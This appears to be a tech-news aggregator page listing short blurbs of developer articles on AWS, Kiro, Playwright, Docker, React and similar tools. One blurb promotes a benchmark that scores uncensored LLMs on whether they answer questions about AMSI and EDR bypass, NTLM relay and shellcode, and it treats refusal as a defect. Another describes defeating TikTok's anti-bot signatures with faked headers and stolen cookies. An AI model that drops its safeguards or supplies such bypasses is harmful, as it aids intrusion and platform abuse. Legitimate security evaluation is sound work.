💬 Get live tech support Originally published on Medium  ( 7 min )
    Graduating from Vibe Coding: Spec‑Driven Development with Kiro
    Speaker: Ray Goh @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=kkYuAUAggG8 Introduction to Kiro Kiro is similar to Visual Studio Code (VS Code) as it is forked from the VS Code base. Amazon has built additional features on top of it, making it a subscription-based service due to its reliance on underlying Large Language Models (LLMs) for agentic coding features. Spec Mode and Spec-Driven Development Spec Mode: A unique feature of Kiro called spec mode or spec-driven development. Traditional Vibe Coding: Most developers are accustomed to vibe coding, where they prompt a coding agent to assist with coding or debugging. Spec-Driven Development: A different approach to building software, starting from requirements, design, task planning, and fina…  ( 10 min )
    Design Review Checklist 📋
    My simple checklist of things to ask as a developer when doing a design review in e.g. Figma. Item Description Does it cover the happy case? Does it cover the empty case? E.g. if there are zero items in a list. Does it cover the error case? E.g. if fetching data failed. Does it cover the growth case? How do dynamic objects such as lists, text etc. grow beyond the fold or similar and how will the design react? Does it cover the shrink case? How do dynamic objects such as lists, text etc. shrink and how will the design react? Especially important for dropdowns. Is the flow clear? Is the flow from view to view or between elements clear?  ( 6 min )
    I’ll be honest with you: I didn’t wake up one morning thinking “Let me reverse-engineer TikTok today.” It started with something much simpler: “I just want to upload videos to TikTok programmatically… why is this so damn hard?”
    Breaking Down API Defenses: UA - Cookies - Signatures Browser 🤖 Mai Chi Bao ・ Nov 17 #webdev #api #security #mrzaizai2k  ( 6 min )
    How to Pick the Right Database in AWS: Simple Steps for Every Project
    Picking the right database in AWS can feel overwhelming. You're staring at more than 15 different options, and it's easy to get lost. Whether you're building a simple web app or a complex enterprise system, the database you choose really does shape your app's performance, scalability, and cost. No pressure, right? The key to choosing the right AWS database is matching your specific data model, performance needs, and access patterns to the strengths of each database type. You don't have to just guess, or pick whatever's trending - there's actually a solid framework to help you narrow things down fast. Let's walk through the most important factors to consider, then break down each AWS database type. By the end, you should have a clearer roadmap for this whole decision. Key Factors to Conside…  ( 10 min )
    Day F1: Drowning in Exams But At Least I'm Coding Again
    So Day F0 was the emotional dump. Day F1 is reality hitting back. I should've been studying. Exam today at 4pm. Assembly language—the fun stuff where you're basically talking to the CPU directly and one wrong move breaks everything. Did I study? Nope. Passed out instead. Woke up at 8am in full panic mode. Cracked open the assembly notes and started cramming. Instructions, registers, memory addressing—all of it flooding back in a caffeine-fueled blur. The exam was at 4pm. I had 10 hours. It wasn't ideal but it worked. Kind of. We'll see when results come out. Here's where it gets fun. Two lab exams. Same day. Back to back. Exam 1: PPL (Principles of Programming Languages) Prolog OCaml Functional programming stuff that makes your brain hurt in new ways Exam 2: DAA (Design and Analysis of Al…  ( 7 min )
    Dejé de hablar de AI y empecé a construir: Construye un RAG simple con Amazon Bedrock Knowledge Bases.
    TL;DR: RAG completo con Amazon Bedrock Knowledge Bases sobre tus propios PDFs en S3, usando Titan Embeddings para crear el índice vectorial y hacer consultas naturales con grounding en tus documentos. En ~25–35 minutos montas la arquitectura en us-east-1, validas respuestas, revisas costos, monitoreo y seguridad, y te llevas un blueprint sencillo para entender GenAI “de verdad” y poder explicarla a otros. Veremos: Creación del bucket S3, ingestión de documentos, generación de embeddings, configuración del índice vectorial y consultas inteligentes. Tiempo estimado: 25–35 min Decidí crear este lab porque quiero entender GenAI de verdad —no solo para un examen, sino para poder explicarlo, documentarlo y ayudar a otros que están empezando como yo. Este post es parte de mi proceso para crece…  ( 10 min )
    I stopped talking about AI and started to build: Build a RAG System with Amazon Bedrock, Titan Embeddings & Knowledge Bases
    TL;DR: I built this lab because I want to truly understand GenAI — not just for an exam, but to teach it, document it, and help others who are starting like me. These topics were tricky inside sandboxes, so now I’m rebuilding everything from scratch in a real AWS account to see how things work internally. Field Value CB Category AI/ML AWS Services Amazon Bedrock, Knowledge Bases, Amazon S3, Titan Embeddings Prerequisites AWS account, Bedrock enabled, S3 permissions, region: us-east-1 Estimated Cost Under \$0.50 Architecture See diagram below Why it matters Architecture / What you will build Prerequisites Step-by-step Validation & Testing Observability (CloudWatch) Security Best Practices Cost Analysis Troubleshooting What’s Next Official Resources Companies want to in…  ( 9 min )
    Automated Testing using MCP & AI Agents
    Speaker: Mariana Chow @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=cgoFdt8ybwY Preparation and Planning Foundation: Testing Data Often overlooked but critical Task management system (e.g., Jira): Use webhooks to store updates in AWS S3 Swagger documentation: Provides API specifications and parameters Historical test cases: Allows verification and retesting of previous cases Connecting Data Sources Traditional methods have limited capability to find relationships Introduction of Large Language Models (LLMs) to bridge connections Example: Mariana (AWS career in cloud computing with AI) Dario (co-founder of Entropic, an AI company) Entropic developed a series of LLMs available through AWS Bedrock Execution AI-Driven Testing Wo…  ( 9 min )
    Meme Monday
    Meme Monday! Today's cover image comes from last week's thread. DEV is an inclusive space! Humor in poor taste will be downvoted by mods. Reminder: Every day is Meme Monday on DUMB DEV ✨ DUMB DEV Community Memes and software development shitposting dumb.dev.to  ( 7 min )
    Search for the Best Website Development Company in Ashburn
    Employing the right and the best web development company in Ashburn can do a ton for your online presence, enhancing it to an immense extent. For most businesses today, the primary way by which they can communicate with their potential customers is through their company's Website. Also, it is fundamental that your site is as receptive to their necessities as could be expected under any circumstances. Additionally, it needs to work as great on phones as it does on desktops. When you are done with the elements mentioned above, you can jump to more minute details for your Website to be engaging for your potential customers. Thusly, you need an amazing website to flourish in the online world. This is the reason you should consider getting an expert and respectable web development company in As…  ( 7 min )
    How a young entrepreneur named Abhay Aditya Jain is re-writing the rules of the AI web
    Hey developers, let’s talk about a problem. That technical blog post you spent 20 hours writing. What if I told you they’re all about to become invisible? For the last twenty-plus years, we—the developers, the builders, the architects of the web—have operated on a simple contract: We build useful things, we mark them up with and tags, and Google sends us traffic. The "click" was the currency. We all learned the rules of Search Engine Optimization (SEO), and we built an entire digital economy on top of it. And then, in about 18 months, generative AI burned that entire economy to the ground. When a user asks Gemini, "What's the best laptop for a finance student under $1500?" they don't get a link to your e-commerce site. They get a perfect, synthesized, conversational answer. Th…  ( 12 min )
    Controlling Kubernetes Network Traffic – Part 1
    In November 2025, I came across an announcement on the Kubernetes blog – Ingress NGINX Retirement: What You Need to Know, which made me dig into how we control network traffic in Kubernetes workloads. In this series of blog posts, I will discuss network traffic in Kubernetes clusters, both inter-cluster and intra-cluster, and the various services offered by the hyper-scale cloud providers. In the first part of this series, I will discuss ingress (North-South) traffic to an application deployed on the Kubernetes cluster. Before we deep dive into the article, let's review some important concepts: North-South traffic: The network traffic flowing between external clients outside the cluster and services inside the Kubernetes cluster, encompassing both incoming requests and outgoing respo…  ( 10 min )
    Playwright MCP Servers Explained: Automation and Testing
    Did you know Playwright has two MCP servers. Yes kinda confusing, let me explain it. The Playwright MCP server is great from Browser Automation, filling out forms for example or even using so LLM's can verify their work by opening the browser and taking a page snapshot to see it actually implemented what it said it did. It is built in to GitHub Copilot Coding Agent so if you assign a pr to Copilot it will use Playwright which you can see in the session logs. It is very cool indeed. Then we have another Playwright MCP server called Playwright Test MCP which is built into Playwright test and is for, yes you guessed it, testing. It has some similar tools as the Playwright MCP server but it also has other ones that you only need if you are testing. It starts running when you use the Playwright Agents, Planner, Generator and Healer. However this MCP server only supports TypeScript/JavaScript for now. So depending on your needs you can use one MCP server or the other. The Playwright MCP server you need to install while the Playwright Test MCP server is installed when you run an npx command when using the latest version of Playwright. npx playwright init-agents --loop=vscode The installing of the MCP server is done for you and it doesn't matter what other MCP server you have as the agent will only use the tools that it has assigned to it. Check out the docs for more info on how to get started. Have fun and happy testing with Playwright MCPs https://playwright.dev/docs/test-agents https://github.com/microsoft/playwright-mcp  ( 7 min )
    Babylon.js vs Three.js: The 360 Technical Comparison for Production Workloads
    Choosing a WebGL/WebGPU engine is one of the most consequential decisions for any modern 3D application. For technical leads and architects, this choice is less about immediate features and more about long-term project durability, performance under scale, and workflow efficiency. A superficial comparison—Babylon is an engine, Three is a library—no longer cuts it. We need to analyze the fundamental architectural differences that dictate everything from real-time performance to asset pipeline complexity and long-term maintenance costs. This comparison steps beyond the feature list to provide a 360° technical analysis of Babylon.js and Three.js. We will dissect their core structures, examine how they handle real-world performance constraints, and evaluate their maturity in a production settin…  ( 12 min )
    I Applied to 247 Jobs Before I Realized I Was Doing It All Wrong
    Month 1: 89 applications sent. 2 interviews. 0 offers. Month 2: 43 applications sent. 11 interviews. 3 offers. Same resume. Same qualifications. Completely different system. Let me paint a picture: You've got job links bookmarked in Chrome. Application deadlines scribbled on random sticky notes. Follow-up reminders buried in your phone. Interview notes scattered across three different notebooks. Sound familiar? This isn't just disorganization—it's self-sabotage. I learned this the hard way when I missed a second-round interview because I forgot which role it was for. I showed up prepared to talk about marketing strategy. They wanted to discuss sales operations. That embarrassment became my wake-up call. Everyone tells you the same thing: "It's a numbers game. Apply to 100 jobs and you'll …  ( 10 min )
    File based queries with tanstack start.
    Just want to see the code? https://github.com/IainMcHugh/start-r-query Having used tanstack start for some months now, it has definitely become my preferred application starter in terms of developer experience. There is something about the end-to-end router type safety that scratches an itch my brain never knew it had. When you extract type safe query parameters from Route.useParams() that you validated as part of the createFileRoute(), something clicks that simply cannot be un-clicked. What's more, it has provided me with a great ingress into the world of vite as a build system solution. The automatic boilerplate code that gets created when adding a new route file seems like such a quirky feature in some ways but I absolutely love it. How the routerTree.gen.ts is exposed for all those cur…  ( 12 min )
    Breaking Down API Defenses: UA - Cookies - Signatures Browser 🤖
    Introduction I’ll be honest with you: “Let me reverse-engineer TikTok today.” It started with something much simpler: “I just want to upload videos to TikTok programmatically… No matter what I tried — simple requests, faked headers, even stolen cookies — TikTok kept slamming the door in my face. But every failure taught me something. So I dug in. And in this post, I’ll take you through the exact journey — from the most naive HTTP request… all the way to running TikTok’s own obfuscated JavaScript in a Node VM to generate browser signatures. All code here comes from my real TikTok automation stack (based on my repo: github.com/mrzaizai2k/auto_tiktok). Raw Request — My First Dumb Attempt User-Agent — “Fine, I’ll Pretend to Be Chrome” Cookies — The Real Passport Browser Signatures — When Tik…  ( 14 min )
    Quantum Trackers: Unlocking the Secrets of Particle Paths with Quantum Algorithms by Arvind Sundararajan
    Quantum Trackers: Unlocking the Secrets of Particle Paths with Quantum Algorithms Imagine trying to piece together a complex jigsaw puzzle, but the pieces are tiny particles whizzing around at near light speed. That's the challenge facing physicists trying to reconstruct particle tracks in high-energy experiments, a computational bottleneck that could be broken by quantum computing. The core idea is to leverage quantum mechanics to efficiently solve complex optimization problems inherent in track reconstruction. We're basically searching for the 'best fit' line or curve that connects a series of detector hits, but in a very high-dimensional space. By formulating this as a ground-state energy problem or a system of linear equations and using tailored quantum algorithms, we can potentially…  ( 7 min )
    Master Shopify Theme Development with JavaScript: Build Real Features Step-by-Step
    🚀 Master Shopify Theme Development with JavaScript: Build Real Features Step-by-Step If you're a Shopify theme developer looking to upgrade your JavaScript skills, this hands-on course is made just for you. Instead of learning theory, you’ll build real Shopify features using JavaScript, Liquid, Shopify CLI, AJAX API, Web Components, and the Section Rendering API — the exact tools modern Shopify brands rely on. Whether you're a beginner learning Shopify development or an experienced freelancer wanting to sharpen your workflow, this course helps you build fast, dynamic, app-free functionality used by high-performing Shopify stores. By the end of this course, you’ll know how to build clean, optimized, and fully functional Shopify features from scratch — no heavy apps needed. ✔ Work with Sh…  ( 7 min )
    Creating Your First Chrome Extension (With Built-in AI Features)
    Chrome extensions let you customize the browser in ways that go far beyond simple settings or themes. They can block ads, automate repetitive tasks, enhance your favorite sites, or reshape the browser interface entirely. If you've ever wished a website or the browser itself behaved just a bit differently, chances are an extension already exists to do exactly that. Learning how to build extensions opens up a space where familiar web technologies gain access to native browser capabilities. You can tap into APIs that ordinary web pages cannot use, allowing your code to run in the background, react to browser events, store data, and integrate deeply into how people work online. And now, with built-in AI models available directly in Chrome, extensions can go even further. You can generate text …  ( 22 min )
    Essential Coding Templates for FAANG-Level LeetCode Problems
    https://www.greatfrontend.com/ https://leetcode.com/studyplan/top-interview-150/ Cracking FAANG-level coding interview questions can be daunting, but having a solid set of templates can significantly boost your confidence and efficiency. In this article, I’ll share essential algorithms and data structure templates with challenging examples, designed to prepare you for top-tier tech interviews. Find the length of the longest substring without repeating characters. function lengthOfLongestSubstring(s) { const seen = new Set(); let left = 0, maxLen = 0; for (let right = 0; right < s.length; right++) { while (seen.has(s[right])) { seen.delete(s[left]); left++; } seen.add(s[right]); maxLen = Math.max(maxLen, right - left + 1); } return maxLen; } Given an a…  ( 11 min )
    The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't)
    The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't) Let me tell you about the worst production incident of my career. It was 2:47 AM on a Tuesday. My phone lit up with alerts. Our main API was returning 503s. Database connections were maxing out. The error rate had spiked from 0.01% to 47% in under three minutes. We had gone from serving 50,000 requests per minute to barely handling 5,000. I rolled out of bed, fumbled for my laptop, and SSH'd into our monitoring dashboard. My hands were shaking—not from the cold, but from the realization that I had no idea what was happening. We had load balancers, auto-scaling groups, Redis caching, database read replicas, the works. We had "followed best practices." We had built for scale. Or so I thought. W…  ( 33 min )
    Comparing Wallet SDKs in 2025: What Builders Should Actually Evaluate (Not Just Features)
    Wallet UX has changed massively in the past ~18 months. What used to be a choice between custodial vs self-custodial is now a five-dimension decision: custody model onboarding UX hosting + control long-term portability session & automation support There is no universal “best wallet SDK”, only best-fit per product category. This guide helps you define evaluation criteria, compare providers, and avoid accidental lock-in. 📌 Evaluation criteria (2025 spec) Below are the criteria teams should evaluate with equal weight — not just features: Category Why it matters Questions to ask Custody model Determines control, security & compliance surface Who holds recovery authority? Can users export keys? Portability / exit plan Avoid infra lock-in Can we self-host later? Can users keep wallet…  ( 7 min )
    The .NET News daily newsletter for C# developers
    I launched https://dotnetnews.co over a year ago to help my fellow C# devs keep up on all the latest developer articles. We finally hit over 2,000 subscribers! If anyone has any ideas on how to make it better I'd love to hear from you. -feech  ( 6 min )
    🚀 Salesforce Launches a Free CRM Suite for Small Businesses — A Game-Changer for SMBs in 2025
    Salesforce has officially entered the world of free tools — and this time, it's big. To support startups, freelancers, and small businesses, Salesforce has launched a Forever-Free CRM Suite that offers core sales, service, and marketing features with zero cost. This move has the potential to shake up the entire CRM market, especially for small teams that rely heavily on spreadsheets and manual processes. Salesforce Free Suite is a no-cost CRM designed specifically for small teams (up to 2 users). It includes: Lead Management Opportunity Pipeline Contact & Account Management ✔️ Service Features Case Management Basic Knowledge Base ✔️ Marketing Features Email Marketing (100 emails/month) Ready-made templates ✔️ Productivity Tools Dashboard…  ( 7 min )
    The Ultimate Promise Deep Dive — Resolve, Reject, Then, and Async/Await Demystified
    Most developers don’t write raw Promises every day — we use tools like useQuery, axios, or helper libraries that wrap everything for us. But when it comes to debugging, reading polyfills, or understanding what those tools are actually doing, everything goes back to Promises. And especially today, when many beginners rely on AI to generate code, it's super important to truly understand what Promises are doing under the hood. So let’s start slow, simple, and clear. Step-by-step.— a zero-to-hero journey into JavaScript Promises. चलो शुरू करते हैं. A Promise is an object that represents the eventual completion (or failure) of an asynchronous operation and its resulting value. Okay, so you’re here — which means either an interview is coming up soon, or you’re just genuinely curious about how Pr…  ( 8 min )
    🚀 Follow Me on X (Twitter) — Let’s Build Something Insane Together
    Hey Dev Community! 👋 I'm on a mission to build, ship, and share everything I learn in AI, Web Development, Blockchain, Growth Hacking, and Indie Hacking — all in public. If you're obsessed with: ⚡ Insanely practical coding tutorials 🤖 AI tools, prompts, and workflows 🛠️ Real-life projects built from scratch 🔥 Growth strategies for devs and creators 💼 Shipping ideas fast (and actually finishing them) Then you’re going to love what I drop on X (Twitter) every single day. Actionable Dev Tips No fluff. Just real examples, code snippets, and things you can implement today. Public Building I share everything I’m working on — wins, mistakes, failures, breakthroughs. Viral-Level AI Prompts Prompts for devs, designers, marketers, founders. Mini Deep-Dives On frontend, backend, full-stack architecture, and smarter workflows. Motivation for Builders Because dev burnout is real. Because I'm not just tweeting — I'm designing content to make you level up fast. I break down: How to think like a developer How to move faster as a builder How to turn simple ideas into real projects How to use AI to supercharge your workflow All in 30–180 second reads. Ask a question? I reply. I’m building a community of sharp developers, indie hackers, and technical creatives. This isn’t a typical "follow me" pitch. This is an invite to a high-signal feed. 👉 https://x.com/Arnaud_Kennedy Drop a ❤️ or leave a comment. Let’s grow together. — Kennedy  ( 7 min )
    checkout this article on How We Reduced 99.6% Load Time in a Tableau Workbook: Origins, Applications, and Real Case Studies
    How We Reduced 99.6% Load Time in a Tableau Workbook: Origins, Applications, and Real Case Studies Dipti ・ Nov 17 #webdev #ai #programming #blockchain  ( 6 min )
    Latest fashion trends.
    The latest quarterly trend report by resale platform StockX has seen Asics retain the position of leading brand in the market. In ‘Big Facts: 2025 Trends’, which covers data over the quarter July 1 to September 30, as well as for the year to October, StockX said Asics’ growth continued, with quarterly sales for the footwear brand growing 45 percent year-over-year. Its Gel-1130 in black/pure silver also currently holds the top spot as 2025’s best-selling sneaker on the platform. Asics’ ability to maintain its leading position reflects a wider shift in the market that has seen running brands once considered niche now dominate attention among resale. Such brands have therefore welcomed strong growth over the reporting period. Brooks, for example, saw a 1,508 percent uptick in sales, while Sau…  ( 7 min )
    Magic behind express auto frontend library
    Hey devs 👋, I’ve been building full-stack apps for years, and one thing always annoyed me: Why are we still manually setting up proxies, fixing CORS, remembering build folders, and running two servers… just to connect a frontend and backend? So I built a solution. This small library automatically connects any modern frontend (React, Vite, Vue, Angular, Svelte, Nuxt, or even static HTML) to your Express backend — in both development and production. 👉 No proxy configs Just one line: include(app, '../frontend'); …and everything works. I kept seeing the same frustrations: Frontend on 5173, backend on 3001 Vite proxy issues Random CORS errors Different dev vs production setups Confusing deployment steps I wanted something that just works, with one unified URL during development and a clean production flow. Now it does. Detects your frontend framework Starts the frontend dev server automatically Proxies /api/* requests to Express Sends all other routes to the frontend dev server Full HMR support Eliminates CORS completely One single origin for the entire stack Detects your dist / build folder Serves the optimized frontend build Handles SPA routing (index.html fallback) Express continues serving your API normally Zero config. Zero stress. const express = require('express'); const include = require('express-auto-frontend'); const app = express(); const PORT = 3001; app.get('/api/message', (req, res) => { res.json({ message: 'Hello from the backend!' }); }); include(app, '../frontend'); app.listen(PORT, () => console.log(`Server running at http://localhost:${PORT}`) ); That’s literally all you need. React (Vite + CRA) Vue (CLI + Nuxt) Angular Svelte / SvelteKit Static HTML or Pug npm i express-auto-frontend Package: express-auto-frontend 1.0.2 15 hours ago I built this because full-stack development should feel smooth, not painful. If you want to reach out, collaborate, or share feedback, contact me at: silivestirassey@gmx.com Happy hacking! ⚡ Silivestir / splannes  ( 7 min )
    Fork This: The Open-Source B2B Marketing Plan for Developers
    As engineers, we build systems. We design architecture, define APIs, and write code that solves complex problems. But once the product is built, another system comes into play: marketing. For many of us, it feels like a black box with unpredictable outputs. What if we treated a B2B marketing plan not as a fluffy slide deck, but as a system architecture document? A well-defined, version-controlled plan for your growth engine. This guide is for developers, by a developer-minded marketer. We're going to architect a B2B marketing plan from scratch. Forget the jargon; let's talk specs, metrics, and implementation. I've even included a B2B_Marketing_Plan.md template you can fork and use. Think of your marketing plan as the README.md and core architecture for your Go-to-Market (GTM) strategy. It’…  ( 9 min )
    Space, Pace, and Probability: Why Modern Basketball Feels So Different
    If you have ever watched an NBA game and felt that it looks more like a math experiment than the old-school battles in the paint, you are not wrong: modern basketball is built on space, pace, and probability. A great breakdown of this logic is captured in this deep dive on how modern basketball really works, which mirrors the way front offices and coaching staffs actually think about the game and its numbers. The classic narrative was simple: feed the big man, win the battle on the boards, and live in the midrange. Today, the court is stretched to the logo, seven-footers run fast breaks, and teams willingly give up long twos while aggressively running shooters off the three-point line. Under the hood, this is not chaos. It is a rational response to a game where every possession is a probab…  ( 10 min )
    AI in 2025: From Flashy Demos to the Hidden Infrastructure Running Our Lives
    Every tech cycle has its hype phase, but by 2025 artificial intelligence is quietly moving from spectacle to plumbing. As outlined in this deep dive on how AI is turning into infrastructure in practical settings, AI in 2025: From Impressive Demos to Reliable Everyday Infrastructure, the real story is no longer about viral demos but about stable systems that power decisions, workflows, and interfaces we use daily without even realising it. For years, AI conversations were dominated by viral videos: robots doing backflips, chatbots writing poems, models generating surreal images. These moments were fun — and genuinely important for research — but they also created a distorted perception. AI looked like a series of party tricks instead of a dependable layer of infrastructure. In 2025, the shi…  ( 10 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    TL;DR Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s cult classic Snake Eyes (starring Nicolas Cage, Gary Sinise, and Carla Gugino), trading hot takes and deep dives from “the sewer.” Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is your ticket to revisiting De Palma’s gritty, twist-filled thriller. This chat is brought to you by PayPal—get 5% cash back on all Pay in 4 holiday purchases through 12/31. Plus, don’t forget to subscribe to The Ringer on YouTube and follow their socials for more movie musings! Watch on YouTube  ( 6 min )
    Why Both Startup Code and Legacy Systems Need Code Context — And How LLMs + CodeDoc Make It Possible
    If you’ve ever worked with a startup codebase or a decades-old legacy system, you already know the truth: Both are confusing in totally different ways — but for an AI model, they’re equally unreadable without real context. In 2025, every company wants to use LLMs to generate documentation, refactor old systems, or speed up onboarding. But here’s the catch: 🧠 LLMs don’t magically “understand your code.” This is exactly why tools like Everdone’s CodeDoc exist: to turn messy, fast-moving codebases into structured, contextualized knowledge that an LLM can actually use. Let’s break down the two worlds — startup and legacy — and why both of them desperately need code-grounded AI. 🚀 1. Startup Codebases: Fast, Fragile, and Evolving Daily Startup code is chaotic by design: features ship before…  ( 8 min )
    How Machine Learning in Cars is Changing Driving Forever
    Have You Ever Wondered How Self-Driving Cars Work? They use something called machine learning in cars to see the road, make decisions, and drive safely. This technology is like giving cars a brain that can learn and improve over time. In this article, we'll explain how machine learning in cars works in simple terms that anyone can understand. We'll look at how cars "see" the world, make decisions, and get better at driving with practice. Machine learning in cars is a type of artificial intelligence that allows vehicles to learn from experience and data instead of following fixed programming. It helps self-driving cars recognize objects, predict what might happen next, and make safe driving decisions. The car's computer brain improves its skills over time as it processes more driving data…  ( 10 min )
    From Frozen Funds to Freedom | PayRam’s Permissionless Commerce Stack Is Replacing Custodial Crypto Checkouts
    “Your funds have been temporarily withheld for routine review.” Seven words that can bankrupt a merchant overnight. In 2023 alone, centralized crypto-payment processors froze >$1.2 B of merchant working capital—more than the entire GDP of some island nations. The reason? KYC drift, sanctions-list churn, or a risk-scoring algorithm that flagged a wallet three hops away from a mixer. Merchants signed up for “borderless payments,” but woke up inside a new kind of banking cage. This article is a tactical deep-dive into how we got here, why stablecoins + privacy + self-hosting are the only viable exit ramp, and how PayRam delivers censorship-free payments without compromising chargeback protection, fiat settlement, or UX polish. If you build, sell, or simply transact on the internet, treat…  ( 10 min )
    Why is a secure PDF manipulation tool essential?
    hi, as a developer who uploads some PDF files to some online services such as government websites, your company cloud, visa websites etc. Imagine, you need to upload a PDF image, but the file is too large and the website doesn’t accept it. So, you search on Google: “How to compress a PDF?’’ and websites like PDFescape, Smallpdf, or iLovePDF appear in your search results. These tools are helpful, but they also come with hidden risks. (at least i feel like that) Benefits: Note: Never upload a PDF file that has your personal information like ID, passport number, address, full name, mobile phone and so on. Soooo, I have created a software i named SafePDF, now i realized many app named with same name but ok :P It is a privacy-focused offline tool for PDF manipulation. You can merge, compress, split, and organize your PDF files securely without internet connection, your documents stay local and safe. Some screenshots: You can contribute and see my project on GitHub: https://github.com/mcagriaksoy/SafePDF  ( 6 min )
    Learn Miniscript in Y Minutes
    INTRO A while ago, I had this galaxy–brain idea: “Yo, why don’t I contribute a MiniScript article to Learn X in Y Minutes? That would be kinda cool.” So, like the overconfident developer-student hybrid I am, I opened the LearnXInYMinutes repo, checked their docs, and saw the instructions: “Just pick any existing language article and use it as a reference.” Cool. Easy. No big deal. Obviously, I picked the GDScript article because Godot supremacy 🛐 I went full speedrun mode — forked the repo, made my own file, wrote the entire MiniScript version like a proud dev contributing to humanity. Then I tried saving the file as: miniscript.md And boom. ERROR. File exists. That’s when I realised the most painful plot twist: The MiniScript article was ALREADY DONE. 😭😭😭 Bro, I felt like I spent 3 …  ( 8 min )
    Running Local AI on Linux With GPU: Ollama + Open WebUI + Gemma
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* Running modern small LLMs locally has become insanely easy on Linux with GPU acceleration, Docker, and Ollama, there are a few gotchas. This post walks through the entire real-world setup: Choosing the right models for a 4GB GPU Installing Phi & Gemma with Ollama Fixing NVIDIA Docker GPU runtime Evaluating WebUI options (Jan vs AnythingLLM vs Open WebUI) Running Open WebUI fully GPU-accelerated Fixing Ollama networking issues Let’s go step by step. 1. Choosing the right small models You have: GTX 1650 (4GB VRAM) 16GB RAM So the “sm…  ( 9 min )
    Docker storage drivers
    Docker storage drivers are components responsible for managing the way Docker containers and images are stored on disk. Different storage drivers offer varying performance characteristics, capabilities, and compatibility with different storage technologies. To use storage drivers effectively, it’s important to know how Docker builds and stores images, and how these images are used by containers. You can use this information to make informed choices about the best way to persist data from your applications and avoid performance problems along the way. 👉 Storage drivers VS Docker volumes Storage drivers and Docker volumes are both integral components of Docker containers, but they serve different purposes and operate at different levels within the Docker architecture. Storage Drivers: Stor…  ( 10 min )
    🧪 Red Team AI Benchmark: Evaluating Uncensored LLMs for Offensive Security
    How to objectively measure if an AI assistant is truly useful for real-world penetration testing — or just another censored chatbot. Modern LLMs are often heavily aligned, refuse to generate exploit code, or hallucinate technical details — making them useless in real red team engagements. This benchmark provides: 12 targeted questions covering 2023–2025 red team trends (ADCS, NTLM relay, EDR bypass, shellcode), Clear pass/fail criteria, Automated evaluation via Ollama/LM Studio, Reference answers for ground-truth comparison. Use it to vet local LLMs like Mistral-7B-Base, Llama-3.1-Minitron, or Dolphin before trusting them in a pentest. Each question tests uncensoredness + technical accuracy. Full details in benchmark.json. # Topic Key Skill Tested 1 AMSI Bypass WinAPI P/Invoke in Po…  ( 8 min )
    How Amazon’s Marketplace Drives Its Market Share
    Amazon's journey from an online bookstore to a global retail behemoth is a story taught in business schools worldwide. While many factors contributed to this meteoric rise, a key element of its strategy is the Amazon Marketplace. This model, which allows third-party sellers to list and sell products directly on Amazon.com, has been a game-changer, fundamentally reshaping the e-commerce landscape and solidifying Amazon's dominant market share. Amazon's marketplace model is a masterclass in platform strategy. By creating a system that aligns the interests of consumers (low prices, vast selection, fast shipping) with the needs of sellers (access to customers, simplified logistics), Amazon has built a self-reinforcing ecosystem that is incredibly difficult to replicate. The combination of the endless aisle, intense price competition, the FBA logistics network, and the strategic use of data creates a powerful moat around its business. Each element strengthens the others, driving a flywheel of growth that continually expands its market share. While the model has faced criticism regarding its treatment of sellers and its use of data, its effectiveness as a business strategy is undeniable. As long as the marketplace continues to deliver unparalleled value to customers, it will remain the central pillar of Amazon's retail empire.  ( 9 min )
    Get Started with React Hook Form
    Introduction Hi, guys! Recently, I spent some time improving my React skills. And the feeling that I will never know enough never goes away, but that is another talk. Just know it is perfectly normal to feel this way. This is how I found out about React Hook Form. Ok, actually, it wasn't first time I heard about it, but now I just decided to learn more about it. So I just read their docs a little bit and decided I will share the knowledge with you. I won't dive too deep into the subject. The goal is to get as familiar as possible with this library. So let's get started! It is a light library that helps you manage forms easily in React. What it offers: Light Provides an intuitive experience, with rich features, all of these while staying light and not relying on other dependencies. Perfo…  ( 14 min )
    The Ultimate Guide to High-Performance Web Animations
    If you’re looking to bring your website to life with smooth, high-performance animations, look no further than the GreenSock Animation Platform (GSAP) is a powerful JavaScript library for creating high-performance animations. It allows you to animate CSS properties, SVG, canvas, and more with ease. Below is a step-by-step guide to using GSAP: GSAP, or the GreenSock Animation Platform, is a powerful JavaScript library for creating high-performance animations. It is widely used by web developers and designers to animate HTML, CSS, SVG, and canvas elements. GSAP is known for its speed, flexibility, and ease of use, making it a popular choice for both simple and complex animations. Performance: GSAP is optimized for performance, ensuring smooth animations even on low-powered devices. C…  ( 8 min )
    semantic-release : quand la CI gère nos versions à notre place
    Vous utilisez les Conventional Commits et vous commencez à apprécier la clarté de l’historique Git (si ce n’est pas le cas, voici un article pour le découvrir). Mais vous continuez à gérer vos versions à la main, écrire le changelog, créer les tags, publier les nouvelles versions… Et si tout ça se faisait tout seul ? C’est la promesse de semantic-release. Par défaut, semantic-release est étroitement lié à l’écosystème npm, puisqu’il est développé en JavaScript et pensé à l’origine pour les projets Node.js mais certains plugins peuvent exister dans d’autres contextes. Versionner à la main peut être une source d’erreurs multiple : on oublie d’incrémenter le numéro de version on modifie le changelog une fois sur deux on ne sait plus si on doit passer en 1.4.2 ou 1.5.0 et parfois on publie sa…  ( 7 min )
    Black Weeks. The big 50% is here.
    Black Weeks. The big 50% is here. Every year I get messages from developers saying the same thing: “I want to ship faster.” That’s exactly why I built Lexington Themes in the first place — a growing library of Astro + Tailwind CSS templates built to look good, load fast, and get out of your way. This Black Weeks, I’m doing something stupidly generous: 50% OFF Full Access. LEX50 at checkout. You get all 39 premium themes, every future release, and ongoing updates. One time payment. No subscription nonsense. — https://lexingtonthemes.com/ Since 2023, more than 7,000 customers have launched sites with these templates. It became the largest Astro theme library, and even the Astro team gave it an award. People describe them better than I ever could: “Top-notch design.” The point is: it’s not …  ( 7 min )
    Building Tantrik — A Multi-Agent AI Halloween Chat Using Next.js, Flask & Kiro
